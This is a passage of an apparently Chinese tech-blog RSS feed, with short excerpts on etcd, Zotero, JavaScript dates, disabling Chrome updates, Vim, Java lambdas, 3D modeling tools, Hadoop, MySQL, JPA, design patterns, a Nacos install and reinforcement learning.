      <description>目录 前言什么是etcdetcd名词raft协议-摘抄自《etcd技术内幕》etcd的部署要求二进制部署etcd查看etcd命令帮助创建etcd集群，使用systemd管理，http协议创建etcd集群，使用systemd管理，https协议etcdctl客户端工具的使用为etcdctl创建别名alarm 告警管理key的增删改查put 添加或修改keyget 查询或获取keydel 删除keywatch 监听key lease租约endpoint 操作member 操作leader角色转换给指定节点用户、角色、认证管理user用户管理role 角色管理auth认证 备份、还原 etcd 集群etcdutl 备份、快照管理命令etcd崩毁恢复有3种方法恢复损坏的member1、清除成员持久状态2、替换member3、恢复整个集群-使用快照恢复 前言 k8s集群中使用etcd数据库作为数据后端存储，所以本篇来学习etcd。&#xA;截止目前2023-11月，官网最新版是etcd v3.6，但是3.6版本处于草稿状态，所以官网目前推荐使用最新稳定版本是etcd-v3.5，本篇来学习etcd v3.5版本。&#xA;什么是etcd 官网：https://etcd.io/&#xA;官网介绍：A distributed, reliable key-value store for the most critical data of a distributed system 分布式、可靠的键值存储，用于存储分布式系统中最关键的数据。&#xA;etcd名词 Raft：etcd所采用的保证分布式系统强一致性的算法。 Node：一个Raft状态机实例。 Member： 一个etcd实例。它管理着一个Node，并且可以为客户端请求提供服务。 Cluster：由多个Member构成可以协同工作的etcd集群。 Peer：对同一个etcd集群中另外一个Member的称呼。 Client： 向etcd集群发送HTTP请求的客户端。 WAL：预写式日志，etcd用于持久化存储的日志格式。 snapshot：etcd防止WAL文件过多而设置的快照，存储etcd数据状态。 Proxy：etcd的一种模式，为etcd集群提供反向代理服务。 Leader(领导者)：Raft算法中通过竞选而产生的处理所有数据提交的领导节点。 Follower(跟随者)：竞选失败的节点作为Raft中的从属节点，为算法提供强一致性保证。 Candidate：候选节点，当Follower超过一定时间接收不到Leader的心跳时转变为Candidate开始Leader竞选。 Term：任期，某个节点成为Leader到下一次竞选开始的时间周期，称为一个Term任期。 Index：数据项编号。Raft中通过Term和Index来定位数据。 raft协议-摘抄自《etcd技术内幕》 Raft 协议的工作模式是一个 Leader 节点和多个 Follower 节点的模式，也就是常说的Leader-Follower 模式。在 Raft 协议中，每个节点都维护了一个状态机，该状态机有三种状态，分别是Leader状态、Follower状态和Candidate状态，在任意时刻，集群中的任意一个节点都处于这三个状态之一。各个状态和转换条件如图2-1所示：&#xA;在多数情况下，集群中有一个Leader节点，其他节点都处于Follower状态，下面简单介绍一下每个状态的节点负责的主要工作。&#xA;1、Leader节点负责处理所有客户端的请求，当接收到客户端的写入请求时，Leader节点会在本地追加一条相应的日志，然后将其封装&#xA;成消息发送到集群中其他的Follower节点。当Follower节点收到该消息时会对其进行响应。如果集群中多数（超过半数）节点都已收到该&#xA;请求对应的日志记录时，则 Leader 节点认为该条日志记录已提交（committed），可以向客户端返回响应。Leader 还会处理客户端的</description>
    </item>
    <item>
      <title>Zotero安装教程（非常详细）从零基础入门到精通，看完这一篇就够了</title>
      <link>https://bchobby.github.io/posts/f83d872612da7149fc813b0540ae9e83/</link>
      <pubDate>Wed, 13 Dec 2023 17:23:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f83d872612da7149fc813b0540ae9e83/</guid>
      <description>Zotero安装及简单配置 1 引言 Zotero是目前最符合我对文献管理软件需求的一款，在这里简单介绍下其安装教程及我在使用的插件。&#xA;2 安装及同步设置 2.1 下载 前往官网https://www.zotero.org/点击Download按钮跳转至下载界面。此处，以Mac版为例。截图如下&#xA;右侧为浏览器插件，用于Zotero直接从支持的网页中抓去文献元数据，可根据需求自行选择是否安装。&#xA;2.2 安装 双击下载好的Zotero-6.0.14.dmg文件，将Zotero拖拽至Drag Here to Install，如下图所示&#xA;打开启动台，当出现Zotero图标时，即为安装完成，此时可关闭安装界面。安装完成后，界面如下&#xA;2.3 同步设置 点击菜单栏Zotero-首选项-同步输入账号密码（第一次使用先创建账号）&#xA;成功登录后如下图所示，取消勾选红框部分&#xA;每个账号官方仅提供了100M的云存储空间，在不额外购买的情况下，同步PDF附件显然是不够用的。我采用的方式是Zotero云同步项目信息，OneDrive同步附件（也可以使用其他的网盘），再通过相对位置链接到附件。&#xA;点击菜单栏Zotero-首选项-高级-文件和文件夹，更改根目录为网盘文件夹下附件PDF的存储位置&#xA;2.4 个人偏好设置 介绍下我喜欢使用的设置，仅供参考&#xA;点击菜单栏Zotero-首选项-常规，取消勾选红框部分&#xA;3 常用插件 仅供参考，可根据需求自行选择是否安装&#xA;3.1 ZotFile 简介：用于管理附件，自动将PDF（或其他文件）重命名，移动和附加到Zotero项目。链接：http://zotfile.com/安装：菜单栏Zotero-工具-插件，点击右上角设置符号Insatll Add-on from File，选择刚下载好的.xpi文件，然后重启即可。 配置：菜单栏Zotero-工具-ZotFile Preference-General Settings，更改源文件夹为zotero的storage，文件位置为2.3节根目录位置 其它设置可根据个人喜好更改，或使用默认设置。&#xA;3.2 Jasminum（茉莉花） 简介：用于管理中文文献。&#xA;链接：https://github.com/l0o0/jasminum/releases&#xA;安装：菜单栏Zotero-工具-插件，点击右上角设置符号Insatll Add-on from File，选择刚下载好的.xpi文件，然后重启即可。&#xA;配置：菜单栏Zotero-首选项-茉莉花，可根据个人需求进行设置，我的设置习惯如下&#xA;题外话 初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：&#xA;2023届全国高校毕业生预计达到1158万人，就业形势严峻；&#xA;国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。&#xA;一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。&#xA;6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。&#xA;2022届大学毕业生月收入较高的前10个专业&#xA;本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。&#xA;具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。&#xA;“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。&#xA;网络安全行业特点 1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！&#xA;2、人才缺口大，就业机会多&#xA;2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。&#xA;行业发展空间大，岗位非常多&#xA;网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…&#xA;职业增值潜力大&#xA;网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。</description>
    </item>
    <item>
      <title>js 时间字符串截掉微秒后面的内容及加1秒</title>
      <link>https://bchobby.github.io/posts/d0c6774211c70e7c3fa405c2612d66aa/</link>
      <pubDate>Wed, 13 Dec 2023 17:23:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0c6774211c70e7c3fa405c2612d66aa/</guid>
      <description> 老规矩先上效果图: 一、js 时间字符串截掉微秒后面的内容，保留前面的 let str = &#39;2023-11-27 19:08:34.733&#39;; let index = str.lastIndexOf(&#34;.&#34;) str = str.substring(0, index); console.log(str) // 2023-11-27 19:08:34 二、转成时间戳，加1秒的方法： var date = &#34;2023-11-08 20:57:58&#34; var timeStamp = Date.parse(date) console.log(timeStamp) // 1699448278000 var date = &#34;2023-11-08 20:57:58&#34; var timeStamp = Date.parse(date) + 1000 console.log(timeStamp) // 1699448279000 三、再把时间戳转成 ’yyyy-MM-dd hh:mm:ss’格式 function getDate(n){ n=new Date(n); return n.toLocaleDateString().replace(/\//g, &#34;-&#34;) + &#34; &#34; + n.toTimeString().substr(0, 8); } getDate(1699448279000) // &#39;2023-11-8 20:57:59&#39; </description>
    </item>
    <item>
      <title>如何防止chrome自动升级 chrome浏览器禁止自动升级设置方法</title>
      <link>https://bchobby.github.io/posts/974befaff59edd4366e479fca908bcb2/</link>
      <pubDate>Wed, 13 Dec 2023 16:51:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/974befaff59edd4366e479fca908bcb2/</guid>
      <description>由于谷歌chrome浏览器功能强大，许多用户都会使用chrome来浏览网页，但是chrome浏览器的升级频率比较高，经常会弹出自动升级的提示，严重影响正常操作，那么如何防止chrome自动升级呢？我们可以通过禁用chrome升级服务的方式来实现，下面就来学习下chrome浏览器禁止自动升级设置方法。&#xA;方法一、关闭计划任务&#xA;1、首先我们需要右键点击我的电脑，在打开的选项里选择管理。&#xA;2、在打开的对话框中选择任务计划程序。&#xA;3、在任务计划程序库中找到两个和chrome自动更新相关的任务计划GoogleUpdateTaskMachineCore与GoogleUpdateTaskMachineUA。&#xA;4、单个选中计划任务，右键在弹出的选项中选择禁用。&#xA;方法二、关闭后台服务&#xA;1、再开始打开的管理对话框中，找到下方的服务选项。找到两个和chrome更新相关的服务Google更新服务(gupdate)、Google更新服务(gupdatem)&#xA;2、双击选中该服务后，在启动类型中选择禁用。&#xA;如何防止chrome自动升级 chrome浏览器禁止自动升级设置方法</description>
    </item>
    <item>
      <title>Vim 搜索多个关键字并高亮</title>
      <link>https://bchobby.github.io/posts/896f79b4158ce8e1f572d19b848c8d5e/</link>
      <pubDate>Wed, 13 Dec 2023 16:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/896f79b4158ce8e1f572d19b848c8d5e/</guid>
      <description>在查看代码或日志的时候，经常会需要搜索某个关键字。VIM搜索时，会把关键字高亮显示，还是比较方便的。&#xA;可是，一个关键字往往是不够的，能否支持多个关键字查找呢？答案是肯定的。应该怎么操作呢？&#xA;其实很简单：&#xA;步骤如下：&#xA;首先键入搜索模式，即在正常模式下键入“/”在搜索模式下键入“\v”把你要搜索的多个关键字用“|”相连，比如&#34;open|close|channel&#34;，回车 上面命令同时查找三个关键字,open、close和channel，效果如何，看一下：</description>
    </item>
    <item>
      <title>Java8——Lambda 表达式</title>
      <link>https://bchobby.github.io/posts/5ea7d97a9776ccbe69e70e24ca0fc20b/</link>
      <pubDate>Wed, 13 Dec 2023 16:16:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ea7d97a9776ccbe69e70e24ca0fc20b/</guid>
      <description>Lambda 表达式，也可称为闭包，它是推动 Java 8 发布的最重要新特性。使用 Lambda 表达式可以将代码块作为方法参数，使代码变的更加简洁紧凑。坦白的说，初次看见Lambda表达式瞬间头就大了，为了更好的理解，我们可以把Lambda 表达式当作是一种匿名函数(对 Java 而言这并不完全正确，但现在姑且这么认为)，简单地说，就是没有声明的方法，即没有访问修饰符、返回值声明和名字。&#xA;Lambda 表达式的结构 Java 中的 Lambda 表达式通常使用 (argument) -&amp;gt; (body) 语法书写，例如：&#xA;(arg1, arg2...) -&amp;gt; expression&#xA;(arg1, arg2...) -&amp;gt; { body }&#xA;(type1 arg1, type2 arg2...) -&amp;gt; { body }&#xA;Lambda 表达式的结构说明：&#xA;一个 Lambda 表达式可以有零个或多个参数参数的类型既可以明确声明，也可以根据上下文来推断。例如：(int a)与(a)效果相同所有参数需包含在圆括号内，参数之间用逗号相隔。例如：(a, b) 或 (int a, int b) 或 (String a, int b, float c)空圆括号代表参数集为空。例如：() -&amp;gt; 42当只有一个参数，且其类型可推导时，圆括号（）可省略。例如：a -&amp;gt; return a*aLambda 表达式的主体可包含零条或多条语句如果 Lambda 表达式的主体只有一条语句，花括号{}可省略。匿名函数的返回类型与该主体表达式一致如果 Lambda 表达式的主体包含一条以上语句，则表达式必须包含在花括号{}中（形成代码块）。匿名函数的返回类型与代码块的返回类型一致，若没有返回则为空 列举几个 Lambda 表达式的例子：</description>
    </item>
    <item>
      <title>选择建模工具时，这几个因素非常关键</title>
      <link>https://bchobby.github.io/posts/9471433fce6edd1b2794bd2081f84e1e/</link>
      <pubDate>Wed, 13 Dec 2023 16:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9471433fce6edd1b2794bd2081f84e1e/</guid>
      <description>在选择最适合自己的3D建模工具时，以下几个关键因素不容忽视：&#xA;需求定位：首先明确自己使用3D建模软件的具体需求。不同行业和应用领域对软件功能的需求各不相同。例如，建筑师可能更注重精确的绘图和建模功能，而动画或游戏开发者则更需要丰富的动画工具和角色建模能力。&#xA;技能水平：评估自己的技能水平，选择适合自己的软件。对于初学者来说，选择界面直观、操作简单的软件如SketchUp Pro或Cinema 4D可能更为合适。随着技能的提升，可以尝试使用更复杂的软件，如ZBrush或Rhinoceros 3D。&#xA;预算考虑：在选择软件时，要考虑软件的价格和自己的预算。有些软件是免费的，适合初学者或业余爱好者使用，例如Blender。而一些专业的付费软件价格可能从几百到数千元不等。因此，要根据自己的需求和经济状况做出明智的选择。&#xA;硬件要求：确保自己的计算机硬件能够满足所选软件的运行要求。某些软件可能需要更高的处理能力和显卡性能，因此在选择软件时要考虑自己的硬件配置。&#xA;支持与社区：选择拥有强大用户社区的软件可以在遇到问题时获得帮助和支持。一些软件提供广泛的在线资源、教程和论坛，这对于学习和解决问题非常有帮助。&#xA;以下是一些备受好评的3D建模软件：&#xA;欧特克AutoCAD：适用于土木工程师、建筑师和图形设计师等，具备精确的绘图和建模功能。&#xA;SketchUp专业版：拥有直观界面和强大功能，适合建筑师和室内设计师使用。&#xA;Blender：免费的开源软件，功能强大，适用于产品渲染、动画、运动跟踪和游戏创建等。&#xA;Rhino3D：采用NURBS数学建模，提供高精度和灵活性，适用于工业设计领域。&#xA;ZBrush：数字雕塑工具，适用于角色艺术家和雕塑家使用。&#xA;Cinema 4D：用于运动图形的创建、建模和渲染，具备直观界面和强大功能。&#xA;创造家（chuangzaojia.com）是一个便捷的资源平台，满足用户在AR和3D建模方面的需求。无论您是学习者、专业人士还是爱好者，创造家都能为您提供丰富的资源和工具。快来访问创造家平台，探索更多精彩的AR内容和3D模型吧！根据个人需求、技能和预算做出明智的决策，选择最适合您的3D建模软件工具。</description>
    </item>
    <item>
      <title>Mapreduce小试牛刀(1)</title>
      <link>https://bchobby.github.io/posts/b2bb6dc397529ad4a5e138995ccfdcb0/</link>
      <pubDate>Wed, 13 Dec 2023 15:52:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2bb6dc397529ad4a5e138995ccfdcb0/</guid>
      <description>1.与hdfs一样，mapreduce基于hadoop框架，所以我们首先要启动hadoop服务器&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;2.修改hadoop-env.sh位置JAVA_HOME配置，在JAVA_HOME前面加上export，重启主虚拟机，最好也把另外两个节点同位置的该配置文件改了&#xA;如果这里不配置好JAVA_HOME变量，那么在后续运行时会出现127号报错，显示未找到JAVA_HOME&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;3.修改内存&#xA;修改yarn-site.xml文件中的内存大小。一般来说，第一次都分配的1024mb，但是在进行mapreduce运算时，会要求至少1536mb内存。但是不要直接设置为1536mb,不要忘记操作系统也会占用内存！但是也不要设置的太大，以免把本机下爆&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;4.示例1&#xA;本地文档单词统计&#xA;1.在某一文件夹下，编辑一个txt文件&#xA;vi wdtest.txt 2.上传到某一hdfs的目录下&#xA;hdfs dfs -put wdtest.txt /input 3.利用hadoop自带的包，进行单词统计&#xA;hadoop jar /home/hadoop/hadoop-3.3.4/share/hadoop/mapreduce/hadoop-mapreduce-examples-3.3.4.jar wordcount /input /output 系统会新建一个叫做ouput的目录收录统计结果（part-r-00000文件）&#xA;4.利用cat命令查看统计结果&#xA;hadoop fs -cat /output/part-r-00000 ---------------------------------------------------------------------------------------------------------------------------------&#xA;5.示例2（Hadoop Streaming统计总的字节数）&#xA;输入如下代码，结果会在output2目录下显示&#xA;mapred streaming \ -input /input \ -output /output2 \ -mapper /bin/cat \ -reducer /usr/bin/wc 注意：要连续、完整输入这段代码，输完后会自动开始计算作业！&#xA;输入代码，查看统计结果：&#xA;hadoop fs -cat /output2/part-00000 分别为行数、单词数、字节数&#xA;这里采用了Hadoop Streaming工具集。Hadoop Streaming是Hadoop新推出的一个工具集。这个工具集并不是提供流式计算的功能，而是允许以命令行的方式代替千篇一律的Driver代码。但是与第一种方法相比，它并不能统计出各个单词出现的次数</description>
    </item>
    <item>
      <title>学习建模，首先选择适合自己的3D建模软件</title>
      <link>https://bchobby.github.io/posts/524da984b6d271ced6b6d3f513f375a9/</link>
      <pubDate>Wed, 13 Dec 2023 15:51:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/524da984b6d271ced6b6d3f513f375a9/</guid>
      <description>选择适合自己的3D建模软件是一个至关重要的决策，因为每个软件都有其独特的功能和特性，适用于不同的领域和项目类型。在本文中，我们将深入探讨几种常见的3D建模软件，帮助您更好地了解它们的特点和适用范围。&#xA;首先，让我们来看看Maya。作为行业标准之一，Maya在电影、动画和特效制作方面表现出色。它拥有广泛的工具和功能，适用于复杂的建模、纹理、灯光和动画任务。然而，Maya的学习曲线较陡峭，更适合专业的3D艺术家和电影制作人。&#xA;接下来是Cinema 4D。C4D以其易学易用而闻名，适合初学者和中级艺术家。它具有强大的渲染能力和丰富的预设库，还可以与后期制作软件如Adobe After Effects无缝集成。在广告、动态图形和运动图形设计领域，C4D得到了广泛应用。&#xA;3ds Max在建筑和机械设计领域具有强大的功能。它适用于CAD制图和建模，具有强大的建模工具和动画功能，支持流体模拟和复杂的角色操纵。在建筑可视化、产品设计和游戏开发等领域，3ds Max得到了广泛应用。&#xA;ZBrush是一款专注于3D雕刻的软件，广泛应用于数字艺术、影视特效和游戏角色设计。它模仿传统雕塑技术，可以雕刻高分辨率模型，为艺术家提供了巨大的创作自由度。在人体模型和3D打印方面，ZBrush表现出色。&#xA;Blender是一款免费的开源软件，提供了一套完整的3D艺术工具。它具有强大的建模、动画、渲染和后期制作功能，适用于各种项目类型。Blender的社区活跃，不断更新和改进，是一个受欢迎的选择。&#xA;最后是Rhino，一款基于NURBS的三维建模软件，广泛应用于工业设计和产品设计。它的建模思路自由，易于学习和使用，对计算机操作系统和硬件配置要求不高。然而，在需要精确结构和实体模具的行业，Rhino可能不太适用。&#xA;此外，创造家（chuangzaojia.com）是国内最大的AR资源平台之一，为用户提供丰富的3D模型库、免费下载、VisionPro、3D模型查看器和3D格式转换等功能。该平台已发布了1540个模型，涵盖了各个领域的内容。&#xA;创造家平台提供了丰富的AR资源，无论是进行AR项目开发还是进行AR内容制作，用户都可以在创造家找到所需的模型和工具。平台上的模型数量众多，用户可以通过搜索功能快速找到符合自己需求的模型。对于设计师和创作者来说，创造家是一个极具价值的资源平台。它提供了免费下载的模型，方便用户在项目中使用。此外，创造家还提供了VisionPro和3D模型查看器等工具，帮助用户更好地展示和编辑模型。&#xA;在选择适合自己的3D建模软件时，需要考虑自身技能水平、项目需求和预算。同时，掌握多个软件也有助于扩展技能和适应不同的项目要求。最重要的是不断练习和探索培养自己的技术和创作能力祝您在3D建模的旅程中取得成功！</description>
    </item>
    <item>
      <title>Mysql in FIND_IN_SET(‘123‘, 数据库字段) 的使用场景</title>
      <link>https://bchobby.github.io/posts/a603b312fede0997315fc858ca4447ff/</link>
      <pubDate>Wed, 13 Dec 2023 15:16:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a603b312fede0997315fc858ca4447ff/</guid>
      <description>-- in后面的参数是我传入的List&#xA;SELECT * from user where 数据库字段 in(&#39;123&#39;, &#39;456&#39;);&#xA;-- 第一个参数是常量, 第二个参数是 数据库字段(逗号隔开的字符串)&#xA;SELECT * from user where FIND_IN_SET(&#39;123&#39;, 数据库字段);&#xA;用find_in_set 和 like, SELECT * FROM user WHERE id REGEXP &#39;03&#39;; 都可以查到 数据库包含某个字段;&#xA;使用find_in_set的性能更好, 因为find_in_set是针对逗号分隔的字符串进行查找</description>
    </item>
    <item>
      <title>springboot jpa sql查询条件空值判断</title>
      <link>https://bchobby.github.io/posts/a152ec05e775f4b9e549cbdf41abfd1c/</link>
      <pubDate>Wed, 13 Dec 2023 14:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a152ec05e775f4b9e549cbdf41abfd1c/</guid>
      <description>String、Byte、Date、List 类型空值判断&#xA;@Query(value = &#34;select new com.test.Student(s.id,s.name,s.status,s.type,s.gmtCreate) &#34; + &#34; from Student s &#34; + &#34; where s.isDeleted = 0 &#34; + &#34; and (s.name like concat(&#39;%&#39;,:name,&#39;%&#39;) or :name is null) &#34; + &#34; and (s.type = :type or :type is null)&#34; + &#34; and (s.gmtCreate &amp;gt;= :startTime or :startTime is null) &#34; + &#34; and (s.gmtCreate &amp;lt;= :endTime or :endTime is null)&#34; + &#34; and (COALESCE(:status,null) is null or (s.</description>
    </item>
    <item>
      <title>设计模式之开篇</title>
      <link>https://bchobby.github.io/posts/1f2969a1f5c03d1fcb3e2e932de9aec0/</link>
      <pubDate>Wed, 13 Dec 2023 14:54:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f2969a1f5c03d1fcb3e2e932de9aec0/</guid>
      <description>在软件开发的世界里，设计模式有如一本精妙的工程艺术指导准则，为我们提供了解决常见问题的优雅实现方案。然而，有些程序员可能会认为设计模式太过繁琐，一个简单的 if/else 语句就能解决问题，何必费心去学习这些看似复杂的概念呢？在这个系列的文章里，我和大家一起探讨为什么设计模式是值得的，以及如何在实际开发中去融入设计模式的思想。&#xA;一、为什么学设计模式 1、代码质量和可维护性 拥有设计模式的思维方式，意味着你不仅仅是在写能够工作的代码，更是在构建具有良好结构的、易于理解和维护的代码。设计模式是过去经验的总结，它们提供了在各种场景下验证过的最佳实践，有助于避免常见的陷阱和错误。&#xA;2、可扩展性和灵活性 需求总是在变化的，永远不可能存在一层不变的需求，而设计模式可以为你的代码提供更好的扩展性。通过采用开放封闭等设计原则，你的代码可以更容易地适应新的功能需求，而不需要对原有的代码进行大规模修改。&#xA;3、团队协作 设计模式是一种通用的编程语言，它提供了一种共享的术语和理解方式，有助于团队成员更容易理解和协作。当所有人都熟悉常见的设计模式时，交流就会变得更加高效，合作更加顺畅。&#xA;二、怎么样学设计模式 1、刻意实践 在日常编码中刻意使用设计模式是学习的最佳途径。不要觉得使用设计模式会让代码变得复杂和难以理解，相反，它会使你的代码更加清晰、模块化，易于维护。逐渐将设计模式的思想融入到自己的编程风格中，形成个性化的代码风格。&#xA;2、实战演练 学以致用是掌握设计模式的关键。在实际项目中应用设计模式，从而更好地理解其实际应用场景。实战中的经验往往比理论知识更加深刻和有说服力。&#xA;3、逐步演进 不要急于一时，逐步演进是掌握设计模式的关键。从一段已有的代码开始，尝试用设计模式和SOLID原则进行重构。通过对比前后的代码，你将会发现自己在设计和编写代码方面的进步。&#xA;4、重点理解设计原则 设计模式的基石是设计原则，例如开放封闭原则、单一职责原则等。深入理解这些原则，能够更好地指导你在实际项目中的设计和编码过程。设计原则是设计模式的根基，也是培养良好代码习惯的关键。&#xA;三、设计原则的补充说明 一般的书籍和文章讲到设计原则，都讲的是 SOLID 原则，而我这里要说的是七原则：SOLID + CARP + LoD&#xA;1 、SRP（Single responsibility Principle）单一职责原则 SRP 是一项简单易懂且重要的原则，但是在实际过程中往往最容易忽略的，它强调在应用中，一个类应该只有一个引起变化的原因，只有一个职责。&#xA;SRP 是基于康威定律的推导结论：软件系统的最佳结构高度依赖于开发这个系统的组织的内部结构，每个软件模块都有且只有一个需要被改变的理由。&#xA;优点 降低类之间的耦合：将不同职责分解为不同的类，降低类之间的依赖关系，提高系统的灵活性和可维护性提升类的可维护性和可重用性：当一个类只有一个职责时，修改该职责不会影响到其他职责，使得类更加稳定，易于维护和重用简化设计过程：SRP 原则使得类的设计更加清晰，每个类都专注于解决一个问题，降低了设计的复杂性 示例代码 多职责的类设计&#xA;public class UserService { /*** 运营部员工绩效计算 */ public BigDecimal calculateKPIResultForOperation() { } /*** 商务员工绩效计算 */ public BigDecimal calculateKPIResultForBusiness() { } /*** 产品部员工绩效计算 */ public BigDecimal calculateKPIResultForProduct() { } /*** 技术部员工绩效计算 */ public BigDecimal calculateKPIResultForTechnology() { } } SRP 后的类设计</description>
    </item>
    <item>
      <title>Centos7安装nacos教程</title>
      <link>https://bchobby.github.io/posts/0c3a243deb82a9aef828e83034fa8c7b/</link>
      <pubDate>Wed, 13 Dec 2023 14:52:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c3a243deb82a9aef828e83034fa8c7b/</guid>
      <description>Centos7安装nacos教程 1. 下载jdk tar.gz格式压缩包，放入linux的目录 下载地址：https://github.com/alibaba/nacos/releases&#xA;找到2.0.3版本的nacos：nacos-server-2.0.3.tar.gz&#xA;2. 上传到服务器并解压压缩包 tar -zxvf nacos-server-2.0.3.tar.gz&#xA;3. 移动压缩包至/usr/local下 mv nacos/ /usr/local/nacos&#xA;4. 修改配置文件 执行命令：&#xA;vim /usr/local/nacos/conf/application.properties&#xA;看着修改连接信息，启动mysql管理&#xA;spring.datasource.platform=mysql db.num=1 #5.x的连接 #db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&amp;amp;connectTimeout=1000&amp;amp;socketTimeout=3000&amp;amp;autoReconnect=true&amp;amp;useUnicode=true&amp;amp;useSSL=false&amp;amp;serverTimezone=UTC #8.x的连接 db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai&amp;amp;useSSL=false&amp;amp;allowPublicKeyRetrieval=true #mysql的用户名 db.user=nacos #mysql的密码 db.password=nacos 只单机部署的话，可以修改一下startup.sh&#xA;配置了这个下面的启动就不需要加 -m standalone了&#xA;vim /usr/local/nacos/bin/startup.sh&#xA;修改 export MODE=&#34;cluster&#34; 为 export MODE=&#34;standalone&#34; 5.初始化数据库脚本 #先连接mysql mysql -u root p #创建nacos数据库 create database nacos; #exit退出 exit #脚本文件位置为：/usr/local/nacos/conf/nacos-mysql.sql #导入脚本sql： mysql -uroot -proot -Dnacos &amp;lt;/usr/local/nacos/conf/nacos-mysql.sql 6.启动nacos 启动关闭脚本都在这里：/usr/local/nacos/bin/ -m为指定模式standalone单机&#xA;./usr/local/nacos/bin/startup.sh -m standalone</description>
    </item>
    <item>
      <title>深度强化学习记录</title>
      <link>https://bchobby.github.io/posts/15e1838ed37a9732fbe2c822c60e9d97/</link>
      <pubDate>Wed, 13 Dec 2023 14:42:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15e1838ed37a9732fbe2c822c60e9d97/</guid>
      <description>增强学习是什么 增强学习&#xA;与环境交互获取反馈 agent 目标是最大化累积奖励，称为期望值回馈&#xA;增强学习框架 RL Process RL process叫做Markov Decision Process (MDP)&#xA;The reward hypothesis RL基于奖励假设，目标函数是最大化期望回归，maximize the expected cumulative reward&#xA;the Markov Property the Markov Property 暗示agent只需要最近的状态去学习下一步采取什么动作，不考虑历史状态和行为&#xA;Observations/States Space agent从环境中学到的信息，&#xA;State s&#xA;一个完整的这个世界状态的描述Observation o&#xA;一个部分的这个世界状态的描述 Action Space 环境中所有可能动作的集合&#xA;环境来自离散或者连续空间&#xA;Rewards and the discounting agent知道采取行动是否是好的&#xA;累积奖励：&#xA;即时奖励更有可能发生，因为比起长期奖励他们更容易预测&#xA;定义一个discount rate叫gamma,0-1之间。大多时候是0.99-0.95（gamma越大，discount越小，agent更在乎长期回归。gamma越小，discount越大，agent更关系短期回报）每一个奖励会被gamma计算到时间指数步骤，未来期望奖励发生概率降低 任务类型 两种任务： episodic ，continuing&#xA;Episodic task：&#xA;有一个开始点和结束点（终止状态），an episode: a list of States, Actions, Rewards, and new States ，比如超级玛丽&#xA;Continuing tasks：</description>
    </item>
    <item>
      <title>互联网加竞赛 python opencv 深度学习 指纹识别算法实现</title>
      <link>https://bchobby.github.io/posts/bfa395f494634c07129aaa6c6aefae99/</link>
      <pubDate>Wed, 13 Dec 2023 14:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfa395f494634c07129aaa6c6aefae99/</guid>
